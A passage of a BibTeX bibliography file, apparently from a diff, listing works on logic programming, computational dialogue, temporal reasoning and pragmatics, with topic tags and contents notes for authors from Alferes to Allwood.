year = {2002}, + volume = {138}, + number = {1--2}, + pages = {87--116}, + topic = {logic-programming;program-revision;} + } + +@incollection{ aleliunas:1990a, + author = {Romas Aleliunas}, + title = {A New Normative Theory of Probabilistic Logic}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {387--403}, + address = {Dordrecht}, + topic = {abstract-probability;probability-semantics;} + } + +@book{ alexander_hg:1988a, + author = {Hubert G. Alexander}, + title = {The Language and Logic of Philosophy}, + publisher = {University Press of America}, + year = {1988}, + address = {Lanham, Maryland}, + topic = {philosophical-reasoning;} + } + +@article{ alexander_j-skyrms:1999a, + author = {Jason Alexander and Brian Skyrms}, + title = {Bargaining with Neighbors: Is Justice Contagious?}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {11}, + pages = {588--508}, + topic = {evolutionary-game-theory;distributive-justice;} + } + +@book{ alexanderofaphrodisias:bc, + author = {Alexander of Aphrodisias}, + title = {Quaestiones}, + publisher = {Duckworth}, + year = {1992}, + address = {London}, + ISBN = {0715623729}, + note = {Translated by R. W. Sharples.}, + topic = {(in)determinism;} + } + +@inproceedings{ alexandersson:1996a, + author = {Jan Alexandersson}, + title = {Some Ideas for the Automatic Acquisition of Dialogue + Structure}, + booktitle = {Proceedings of the 11th {T}wente Workshop on Language + Technology}, + year = {1996}, + pages = {149--158}, + organization = {University of Twente}, + address = {Entschede}, + missinginfo = {A's 1st name, editor, publisher}, + topic = {machine-language-learning;discourse-structure;} + } + +@incollection{ alexandersson-poller:1998a, + author = {Jan Alexandersson and Peter Poller}, + title = {Toward Multilingual Protocol Generation for Spontaneous + Speech Dialogues}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {198--207}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;machine-translation;} + } + +@book{ alexandersson:1999a, + editor = {Jan Alexandersson}, + title = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + publisher = {International Joint Conference on Artificial Intelligence}, + year = {1999}, + address = {Murray Hill, New Jersey}, + contentnote = {TC: + 1. Masahiro Araki and Kazunoru Komatani and Taishi Hirata + and Shuji Doshita, "A Dialogue Library for + Task-Oriented Spoken Dialogue Systems" + 2. Maria Aretoulaki and Bernd Ludwig, + "Automation-Descriptions and Theorem-Proving: A + Marriage Made in Heaven?" + 3. Johan Boye and Mats Wir\'en and Manny Rayner and + Ian Lewin and David Carter and Ralph Becket, + "Language-Proccessing Strategies for Mixed-Initiative + Dialogues" + 4. Peter Bohlin and Robin Cooper and Elizabet Engdahl and + Staffan Larsson, Information States and Dialogue Move + Engines" + 5. Matthias Denecke and Alex Waibel, "Integrating Knowledge + Sources for the Specification of a Task-Oriented + Dialogue System" + 6. Annika Flycht-Eriksson, "A Survey of Knowledge Sources in + Dialogue Systems" + 7. Joris Hulstijn, "Modeling Usability: Development Methods + for Dialogue Systems" + 8. Michael Kipp and Jan Alexandersson and Norbert + Reithinger, "Understanding Spontaneous Negotiation + Dialogue" + 9. Anke K\"olzer, "Universal Dialogue Specification for + Conversational Systems" + 10. Diane J. Litman and Marilyn A. Walker and Michael + S. Kearns, "Acquiring Knowledge of System Performance + for Spoken Dialogue" + 11. John Aberdeen and Sam Bayer and Sasha Caskey and Laurie + Damianos and Alan Goldschen and Lynette Hirschman and + Dan Loehr and Hugo Trapper, "Implementing Practical + Dialogue Systems with the {DARPA} Communicator + Architecture" + 12. Richard McConachy and Ingrid Zukerman, "Dialogue + Requirements for Argumentation Systems" + 13. Susan McRoy and Syed S. Ali, "A Practical, Declarative + Theory of Dialogue" + 14. Mark Seligman and Jan Alexandersson and Kristiina + Jokinen, "Tracking Morphological and Semantic Co-Occurrences + in Spontaneous Dialogues" + 15. David Traum and Carl Andersen, "Representations of + Dialogue State for Domain and Task Independent + Meta-Dialogue" + } , + topic = {computational-dialogue;} + } + +@incollection{ alexandersson-heisterkamp:2000a, + author = {Jan Alexandersson and Paul Heisterkamp}, + title = {Some Notes on the Complexity of Dialogues}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {160--169}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@inproceedings{ alferes-pereira_lm:1992a, + author = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira}, + title = {On Logic Program Semantics with Two Kinds of Negation}, + booktitle = {Logic Programming: Proceedings of the 1992 Joint + International Conference and Symposium}, + year = {1992}, + pages = {574--589}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + missinginfo = {A's 1st name}, + topic = {logic-programming;negation;negation-as-failure;} + } + +@inproceedings{ alferes-pereira_lm:1992b, + author = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira}, + title = {Belief, Provability, and Logic Programs}, + booktitle = {{JELIA}'94}, + year = {1994}, + pages = {106--121}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {A's 1st name}, + topic = {logic-programming;} + } + +@book{ alferes-etal:1996a, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Eva Orlowska}, + title = {Logics in Artificial Intelligence European Workshop: + Proceedings of {JELIA} '96, Evora, Portugal, September 30 - + October 3, 1996}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540616306}, + contentnote = {TC: + 1. Peter Baumgartner and Ulrich Furbach and Ilkka Niemeld, "Hyper + Tableaux", pp. 1--17 + 2. Hans de Nivelle, "An Algorithm for the Retrieval of Unifiers + from Discrimination Trees", pp. 18--33 + 3. Christophe Bourely and Gilles Difourneaux and Nicolas + Peltier, "Building Proofs or Counterexamples by + Analogy in a Resoluton Framework", pp. 34--49 + 4. Anatoli Degtyarev and Andrei Voronkov, "What You Always + Wanted to Know About Rigid E-Unification", pp. 50--69 + 5. Alberto Artosi and Paola Benassi and Guido Governatori and + Antonino Rotolo, "Labelled Proofs for Quantified + Modal Logic", pp. 70--86 + 6. Francesco M. Donini and Fabio Massacci and Daniele Nardi and + Riccardo Rosati, "A Uniform Tableaux Method for + Nonmonotonic Modal Logics", pp. 87--103 + 7. Peter Fr\"ohlich and Wolfgang Nejdl and Michael Schroeder, + "Design and Implementation of Diagnostic Strategies + Using Modal Logic", pp. 104--118 + 8. Filipe Santos and Josi Carmo, "A Modal Action Logic Based + Framework for Organization Specification and + Analysis", pp. 119--133 + 9. Michael R. Genesereth, "Mc{C}arthy's Idea", pp. 134--142 + 10. Jos\'e J\'ulio Alferes and Lu\"is Moniz Pereira and Teodor C. + Przymusinski, "Strong and Explicit Negation in + Non--Monotonic Reasoning and Logic + Programming", pp. 143--163 + 11. Joeri Engelfriet, "Only Persistence Makes Nonmonotonicity + Monotonous", pp. 164--175 + 12. Konstantinos Georgatos, "Ordering-Based Representations of + Rational Inference", pp. 176--191 + 13. Artur Mikitiuk, "Semi-Representability of Default Theories in + Rational Default Logic", pp. 192--207 + 14. Viorica Ciorba, "A Query Answering Algorithm for {L}ukaszewicz' + General Open Default Theory", pp. 208--223 + 15. Joeri Engelfriet and V. Wiktor Marek and Jan Treur and + Miroslaw Truszczynski, "Infinitary Default Logic for + Specification of Nonmonotonic Reasoning", pp. 224--236 + 16. Grigoris Antoniou and Allen P. Courtney and J\"urg Ernst and + Mary-Anne Williams, "A System for Computing + Constrained Default Logic Extensions", pp. 237--250 + 17. Chandrabose Aravindan, "An Abductive Framework for Negation + in Disjunctive Logic Programming", pp. 252--267 + 18. Stefan Brass and J\"urgen Dix, "Characterizing D-WFS: + Confluence and Iterated {GCWA}", pp. 268--283 + 19. Vasco Pedro and Lums Monteiro, "Modules and + Specifications", pp.284--300 + 20. Manuel Enciso and Inman P. de Guzman and Carlos + Rossi, "Temporal Reasoning over Linear Discrete + Time", pp. 303--319 + 21. Regimantas Pliuskevicius, "Similarity Saturation for First + Order Linear Temporal Logic with {UNLESS}", pp. 320--336 + 22. Brandon Bennett, "Carving Up Space: Steps Towards + Construction of an Absolutely Complete Theory of + Spatial Regions", pp. 337--353 + 23. Paola Forcheri and Paola Gentilini and Maria Teresa + Molfino, "Informational Logic for Automated + Reasoning", pp. 354--372 + 24. Michael Kaminski and Johann A. Makowsky and Michael L. + Tiomkin, "Extensions for Open Default Theories via + the Domain Closure Assumption", pp. 373--387 + 25. Cees Witteveen and Wiebe van der Hoek, "Revising and Updating + Using a Back-Up Semantics", pp. 388--403 + 26. Philippe Besnard and Torsten Schaub, "A Simple Signed System + for Paraconsistent Reasoning", pp. 404--416 + } , + topic = {logic-in-AI;} + } + +@book{ alferes-pereira_lm:1996a, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira}, + title = {Reasoning with Logic Programming}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + xref = {Review: tanaka:2001a.}, + topic = {logic-programming;} + } + +@incollection{ alferes-etal:1998a, + author = {Jos\'e J\'ulio Aleferes and J.A. Leite and Lu\'is Moniz + Pereira and Halina Przymusinska and Teodor C. Przymucinski}, + title = {Dynamic Logic Programming}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {98--109}, + address = {San Francisco, California}, + topic = {kr;logic-programming;belief-revision;kr-course;} + } + +@incollection{ alhalimi-kazman:1989a, + author = {Reem Al-Halimi and Rick Kazman}, + title = {Temporal Indexing through Lexical Chaining}, + booktitle = {Word{N}et: An Electronic Lexical Database}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Christine Fellbaum}, + address = {Cambridge, Massachusetts}, + missinginfo = {pages}, + topic = {wordnet;temporal-representation;} + } + +@book{ alhibiri:1978a, + author = {Azizah Al-Hibiri}, + title = {Deontic Logic: A Comprehensive Appraisal and + a New Proposal}, + publisher = {University Press of America}, + year = {1978}, + address = {Washington, District of Columbia}, + title = {Temporality and Deontic Logic}, + year = {1979}, + note = {Unpublished manuscript, Texas A\&M University}, + missinginfo = {Date is a guess.}, + topic = {deontic-logic;temporal-logic;} + } + +@inproceedings{ aliferis-cooper_gf:1994a, + author = {Constantine F. Aliferis and Gregory F. Cooper}, + title = {An Evaluation of an Algorithm for Inductive Learning of + {B}ayesian Belief Networks Using Simulated Data Sets}, + booktitle = {Proceedings of the + 10th Conference on Uncertainty in Artificial Intelligence + (UAI94)}, + year = {1994}, + pages = {8--14}, + missinginfo = {Editor, Organization, Address}, + topic = {machine-learning;Bayesian-networks;} + } + +@book{ aliseda-etal:1998a, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + title = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + address = {Stanford, California}, + contentnote = {TC: + 1. John Perry, "Indexicals, Contexts, and Unarticulated + Constituents", pp. 1--11 + 2. John McCarthy and Sa\v{s}a Buva\v{c}, "Formalizing + Context (Expanded Notes)", pp. 13--50 + 3. Johan van Benthem, "Changing Contexts and Shifting + Assertions", pp. 51--65 + 4. Jan Jaspars and Megumi Kameyama, "Discourse Preferences + and Dynamic Logic", pp. 67--96 + 5. Victor S\'anchez Valencia, "Polarity, Predicates, and + Monotonicity", pp. 97--117 + 6. M. Andrew Moshier, "HPSG as a Type Theory", pp. 119--139 + 7. Patrick Suppes, Michael B\"ottner and Lin Liang, + "Machine Learning of Physics Word Problems", pp. 141--154 + }, + topic = {context;grammar-formalisms;computational-linguistics;} + } + +@techreport{ allegranza-bech:1989a, + author = {Valerio Allegranza and Annelise Bech}, + title = {A Versatile Tool for Treating Unbounded Dependency + Constructions in {NLP} and {MT} Systems}, + institution = {Gruppo Dima, Sviluppo di Sistimi Linguistica + Computazionale, Torino}, + year = {1989}, + address = {Torino, Italy}, + missinginfo = {number}, + topic = {unbounded-dependency;parsing-algorithms;nl-processing;} + } + +@inproceedings{ allemang-etal:1987a, + author = {D. Allemang and M. Tanner and T. Bylander and J. + Josephson}, + title = {Computational Complexity of Hypothesis Assembly}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {1112--1117}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {A's 1st name}, + topic = {complexity-in-AI;abduction;} + } + +@inproceedings{ allen_b:1990a, + author = {Beth Allen}, + title = {Costly Acquisition of (Differentiated) Information}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {169--184}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {communications-modeling;decision-theory;} + } + +@book{ allen_c-bekoff:1997a, + editor = {Colin Allen and Marc Bekoff}, + title = {Species of Mind}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {animal-cognition;} + } + +@book{ allen_j-etal:1987a, + author = {John Allen and Sharon Hunnicut and Dennis H. Klatt}, + title = {From Text to Speech: The {MIT}alk System}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + topic = {speech-generation;} + } + +@unpublished{ allen_jf:undateda, + author = {James F. Allen}, + title = {Signs and Probability}, + note = {Unpublished manuscript. Said to be part appendix to + doctoral dissertation.}, + missinginfo = {year}, + contentnote = {Has a discussion of default reasoning in + ancient philosophy. --RT}, + topic = {nonmonotonic-reasoning;ancient-philosophy;} + } + +@phdthesis{ allen_jf:1979a, + author = {James F. Allen}, + title = {A Plan-Based Approach to Speech Act Recognition}, + school = {University of Toronto}, + year = {1979}, + address = {Toronto, Ontario, Canada}, + topic = {pragmatics;speech-acts;speech-act-recognition; + plan-recognition;} + } + +@article{ allen_jf-perrault:1980a, + author = {James F. Allen and C. Raymond Perrault}, + title = {Analyzing Intention in Utterances}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + pages = {143--178}, + missinginfo = {number}, + topic = {discourse;nl-interpretation; + plan-recognition;discourse-intentions;pragmatics;} + } + +@article{ allen_jf:1983a, + author = {James Allen}, + title = {Maintaining Knowledge about Temporal Intervals}, + journal = {Communications of the {ACM}}, + year = {1983}, + volume = {26}, + number = {11}, + pages = {832--843}, + xref = {Several republications. Daniel S. Weld and Johan de Kleer + Qualitative Reasoning about Physical Systems allen:1983a3. + Brachman & Levesque + Readings in Knowledge Representation allen:1983a2.}, + topic = {temporal-reasoning;qualitative-reasoning;kr-course;} + } + +@incollection{ allen_jf:1983a2, + author = {James F. Allen}, + title = {Maintaining Knowledge about Temporal Intervals}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {509--522}, + xref = {Originally appeared in Communications of the ACM; 1983; 832--843; + allen:1983a. Republished in Brachman & Levesque; Readings + in KR}, + topic = {temporal-reasoning;qualitative-reasoning;kr-course;} + } + +@incollection{ allen_jf:1983a3, + author = {James F. Allen}, + title = {Maintaining Knowledge about Temporal Intervals}, + booktitle = {Qualitative Reasoning about Physical Systems}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {Daniel S. Weld and Johan de Kleer}, + pages = {361--372}, + address = {San Mateo, California}, + xref = {Originally appeared in Communications of the ACM 1983 832--843 + see allen:1983a. Republished in Brachman & Levesque; + Readings in KR}, + topic = {temporal-reasoning;qualitative-reasoning;kr-course;} + } + +@incollection{ allen_jf:1983b, + author = {James F. Allen}, + title = {Recognizing Intentions from Natural Language Utterances}, + booktitle = {Computational Models of Discourse}, + publisher = {The {MIT} Press}, + year = {1983}, + editor = {M. Brady and R. Berwick}, + pages = {107--166}, + address = {Cambridge, Massachusetts}, + topic = {plan-recognition;nl-interpretation; + pragmatics;} + } + +@inproceedings{ allen_jf-koomen:1983a, + author = {James F. Allen and Johannes Koomen}, + title = {Planning Using a Temporal World Model}, + booktitle = {Proceedings of the Eighth International Joint + Conference on Artificial Intelligence}, + year = {1983}, + editor = {Alan Bundy}, + pages = {741--747}, + publisher = {William Kaufmann, Inc.}, + address = {Los Altos, California}, + topic = {temporal-reasoning;planning;} + } + +@article{ allen_jf:1984a1, + author = {James Allen}, + title = {Towards a General Theory of Action and Time}, + journal = {Artificial Intelligence}, + volume = {23}, + number = {2}, + pages = {123--154}, + year = {1984}, + topic = {kr;foundations-of-planning;action;kr-course;} + } + +@incollection{ allen_jf:1984a2, + author = {James F. Allen}, + title = {Towards a General Theory of Action and Time}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {464--479}, + address = {San Mateo, California}, + xref = {Originally in AI 23; 1984; 123--154}, + topic = {kr;foundations-of-planning;action;kr-course;} + } + +@unpublished{ allen_jf-litman:1986a, + author = {James F. Allen and Diane Litman}, + title = {Plans, Goals, and Natural Language}, + year = {1986}, + note = {Unpublished manuscript, Department of Computer Science, + University of Rochester.}, + topic = {planning;nl-processing;plan-recognition;} + } + +@article{ allen_jf-kautz:1987a, + author = {James F. Allen and Henry A. Kautz}, + title = {Logicism Is Alive and Well}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {161--162}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ allen_jf-kautz:1988a, + author = {James F. Allen and Henry A. Kautz}, + title = {A Model of Naive Temporal Reasoning}, + booktitle = {Formal Theories of the Commonsense World}, + editor = {Jerry R. Hobbs and Robert C. Moore}, + publisher = {Ablex Publishing Corporation}, + year = {1988}, + pages = {251--268}, + address = {Norwood, New Jersey}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@incollection{ allen_jf:1990a, + author = {James F. Allen}, + title = {Two Views of Intention: Comments on {B}ratman and on {C}ohen + and {L}evesque}, + booktitle = {Intentions in Communication}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1990}, + pages = {71--75}, + topic = {intention;practical-reasoning;foundations-of-planning;} + } + +@incollection{ allen_jf:1990b, + author = {James F. Allen}, + title = {Formal Models of Planning}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {50--54}, + address = {San Mateo, California}, + topic = {kr;foundations-of-planning;action;kr-course;} + } + +@book{ allen_jf-etal:1990a, + editor = {James Allen and James Hendler and Austin Tate}, + title = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + address = {San Mateo, California}, + topic = {planning;foundations-of-planning;action;} + } + +@incollection{ allen_jf:1991a, + author = {James F. Allen}, + title = {Planning as Temporal Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {3--14}, + address = {San Mateo, California}, + topic = {kr;kr-course;planning;planning-formalisms;temporal-reasoning;} + } + +@incollection{ allen_jf:1991b, + author = {James F. Allen}, + title = {Temporal Reasoning and Planning}, + booktitle = {Reasoning about Plans}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Henry A. Kautz and Richard Pelavin and + Joshua Tennenberg}, + address = {San Francisco, California}, + missinginfo = {pages}, + topic = {kr;planning;action;temporal-reasoning;kr-course;} + } + +@article{ allen_jf:1991c, + author = {James F. Allen}, + title = {Time and Time Again: The Many Ways to Represent Time}, + journal = {International Journal of Intelligent Systems}, + year = {1991}, + volume = {6}, + pages = {341--355}, + missinginfo = {number}, + topic = {temporal-reasoning;krcourse;} + } + +@book{ allen_jf-etal:1991a, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + title = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Mateo, California}, + topic = {kr;kr-course;} + } + +@book{ allen_jf-etal:1991b, + editor = {James F. Allen and Henry A. Kautz and Richard Pelavin and + Joshua Tennenberg}, + title = {Reasoning about Plans}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Francisco, California}, + topic = {planning;action;temporal-reasoning;} + } + +@book{ allen_jf-etal:1991c, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + title = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Mateo, California}, + topic = {kr;kr-course;} + } + +@techreport{ allen_jf-ferguson:1994a, + author = {James F. Allen and George Ferguson}, + title = {Actions and Events in Interval Temporal Logic}, + institution = {Computer Science Department, University of + Rochester}, + number = {521}, + year = {1994}, + address = {Rochester, New York}, + topic = {temporal-logic;events;action;action-formalisms;} + } + +@inproceedings{ allen_jf-etal:1996a, + author = {James F. Allen and Bradford W. Miller and Eric K. Ringger + and Teresa Sikorski}, + title = {A Robust System for Natural Spoken Dialogue}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {62--70}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {speech-recognition;discourse;pragmatics;} + } + +@incollection{ allen_jf-fergusonferguson:1997a, + author = {James F. Allen and George Ferguson}, + title = {Actions and Events in + Interval Temporal Logic}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {203--245}, + address = {Dordrecht}, + topic = {temporal-reasoning;actions;events;} + } + +@book{ allen_jf:1999a, + author = {James F. Allen}, + title = {Natural Language Understanding}, + publisher = {Addison-Wesley Publishing Company}, + year = {1999}, + address = {Reading, Massachusetts}, + topic = {nlp-intro;} + } + +@inproceedings{ allen_jf-etal:2000a, + author = {James F.Allen and Donna Byron and Dave Costello and + Myroslava Dzikovska and George Ferguson and Lucian + Galeescu and Amanda Stent}, + title = {{TRIPS}-911 System Demonstration}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {33--35}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ allen_k:2001a, + author = {Keith Allen}, + title = {Review of {\it Toward a Cognitive Semantics} Volume 1 and + {\it Toward a Cognitive Semantics} Volume 2, by {L}eonard {T}almy}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {309--315}, + xref = {Review of: talmy:2000a, talmy:2000b,}, + topic = {cognitive-semantics;lexical-semantics;} + } + +@article{ allen_le-engholm:1978a, + author = {Layman E. Allen and C. Rudy Engholm}, + title = {Normalized Legal Drafting and the Query Method}, + journal = {Journal of Legal Education}, + year = {1978}, + volume = {29}, + pages = {380--412}, + topic = {legal-language;} + } + +@inproceedings{ allen_le-saxon:1987a, + author = {Layman E. Allen and Charles S. Saxon}, + year = {1987}, + title = {Some Problems in Designing Expert Systems to Aid Legal + Reasoning}, + booktitle = {First International Conference on Artificial + Intelligence and Law}, + pages = {94--103}, + address = {Northeastern University, Boston, Massachusetts}, + topic = {legal-AI;} + } + +@book{ allen_s:1989a, + editor = {Sture All\'en}, + title = {Possible Worlds in Humanities, Arts and Sciences}, + publisher = {Walter de Gruyter}, + year = {1989}, + address = {Berlin}, + topic = {philosophy-of-possible-worlds;possible-worlds-semantics; + literary-criticism;foundations-of-quantum-mechanics;} + } + +@article{ allis-etal:1994a, + author = {L. Victor Allis and Maarten van der Meulen and H. Jaap + van den Herik}, + title = {Proof-Number Search}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {1}, + pages = {91--124}, + acontentnote = {Abstract: + Proof-number search (pn-search) is designed for finding the + game-theoretical value in game trees. It is based on ideas + derived from conspiracy-number search and its variants, such as + applied cn-search and [alpha][beta]-cn search. While in + cn-search the purpose is to continue searching until it is + unlikely that the minimax value of the root will change, + pn-search aims at proving the true value of the root. Therefore, + pn-search does not consider interim minimax values. + Pn-search selects the next node to be expanded using two + criteria: the potential range of subtree values and the number + of nodes which must conspire to prove or disprove that range of + potential values. These two criteria enable pn-search to treat + efficiently game trees with a non-uniform branching factor. + It is shown that in non-uniform trees pn-search outperforms + other types of search, such as [alpha]-[beta] + iterative-deepening search, even when enhanced with + transposition tables, move ordering for the full principal + variation, etc. Pn-search has been used to establish the + game-theoretical values of Connect-Four, Qubic, and Go-Moku. + There pn-search was able to find a forced win for the player to + move first. The experiments described here are in the domain of + Awari, a game which has not yet been solved. The experiments are + repeatable for other games with a non-uniform branching factor. + This article describes the underlying principles of pn-search, + presents an appropriate implementation, and provides an analysis + of its strengths and weaknesses. + } , + topic = {game-trees;search;conspiracy-number-search;} + } + +@incollection{ allport:1989a, + author = {Alan Allport}, + title = {Visual Attention}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {16}, + pages = {631--682}, + address = {Cambridge, Massachusetts}, + topic = {attention;human-vision;cognitive-psychology;} + } + +@book{ allwein-barwise:1996a, + editor = {Gerard Allwein and Jon Barwise}, + title = {Logical Reasoning With Diagrams}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + xref = {Review: derijke:1999a.}, + topic = {diagrams;reasoning-with-diagrams; + logical-reasoning;visual-reasoning;} + } + +@software{ allwein-etal:1999a, + author = {Gerhard Allwein and Dave Barker-Plummer and Jon Barwise + and John Etchemendy}, + title = {{LPL} Software Manual}, + publisher = {{CSLI} Publications}, + year = {1999}, + address = {Stanford, California}, + media = {CD-Rom}, + missinginfo = {platform, version}, + xref = {Accompanies barwise-etchemendy:1999a.}, + xref = {Review: grim:1999a.}, + topic = {logic-intro;logic-courseware;kr-course;} + } + +@article{ allwein-maccaull:2001a, + author = {Gerard Allwein and Wendy MacCaull}, + title = {A {K}ripke Semantics for the Logic of {G}elfand Quantales}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {173--228}, + topic = {quantales;modal-logic;} + } + +@incollection{ allwood:1972a1, + author = {Jens Allwood}, + title = {Negation and the Strength of Presuppositions}, + booktitle = {Logic, Pragmatics and Grammar}, + publisher = {Department of Linguistics, University of Gothenberg}, + year = {1972}, + editor = {\"Osten Dahl}, + pages = {11--52}, + address = {Gothenberg}, + xref = {See allwood:1972a2}, + topic = {presupposition;pragmatics;} + } + +@techreport{ allwood:1972a2, + author = {Jens Allwood}, + title = {Negation and the Strength of Presuppositions}, + institution = {Department of Linguistics, University of Gothenberg}, + number = {Logical Grammar Report 2}, + year = {1972}, + address = {Gothenberg, Sweden}, + xref = {Also in dahl:1972a; see allwood:1972a1.}, + topic = {presupposition;pragmatics;} + } + +@techreport{ allwood:1973a, + author = {Jens Allwood}, + title = {Truth, Appropriateness, and Stress}, + institution = {Department of Linguistics, University of Gothenberg}, + number = {Gothenburg Papers in Theoretical Linguistics 16}, + year = {1973}, + address = {Gothenberg, Sweden}, + topic = {sentence-focus;discourse;prosody;intonation;pragmatics;} + } + +@techreport{ allwood:1974a, + author = {Jens Allwood}, + title = {Intensity, Pitch, Duration}, + institution = {Department of Linguistics, University of Gothenberg}, + number = {Logical Grammar Report 11}, + year = {1974}, + address = {Gothenberg, Sweden}, + topic = {sentence-focus;discourse;prosody;intonation;pragmatics;} + } + +@techreport{ allwood:1976a, + author = {Jens Allwood}, + title = {Linguistic Communication in Action and Co-Operation: A + Study in Pragmatics}, + institution = {Department of Linguistics, University of Gothenberg}, + publisher = {Department of Linguistics, University of Gothenberg, + Gothenberg Monographs in Linguistics}, + number = {2}, + year = {1976}, + address = {Gothenberg}, + topic = {pragmatics;speech-acts;} + } + +@incollection{ allwood:1977a, + author = {Jens Allwood}, + title = {A Critical Look at Speech Act Theory}, + booktitle = {Logic, Pragmatics and Grammar}, + publisher = {Department of Linguistics, University of Gothenberg}, + year = {1977}, + editor = {\"Osten Dahl}, + pages = {53--69}, + address = {Gothenberg}, + topic = {speech-acts;pragmatics;} + } + +@book{ allwood-etal:1977a, + author = {Jens Allwood and Lars-Gunnar Andersson and \"Osten Dahl}, + title = {Logic in Linguistics}, + publisher = {Cambridge University Press}, + year = {1977}, + address = {Cambridge, England}, + topic = {logic-and-linguistics;modal-logic;intensional-logic; + categorial-grammar;} + } + +@article{ allwood:1978a, + author = {Jens Allwood}, + title = {On the Analysis of Communicative Action}, + journal = {Gothenburg Papers in Theoretical Linguistics}, + year = {1978}, + volume = {38}, + topic = {pragmatics;speech-acts;} + } + +@incollection{ allwood:1985a, + author = {Jens Allwood}, + title = {Logic and Spoken Interaction}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {67--91}, + address = {New York}, + topic = {pragmatic-reasoning;pragmatics;} + } + +@inproceedings{ allwood:1997a, + author = {Jens Allwood}, + title = {An Activity-Based Approach to Pragmatics}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {6--11}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;pragmatics;} + } + +@article{ almeder:1990a, + author = 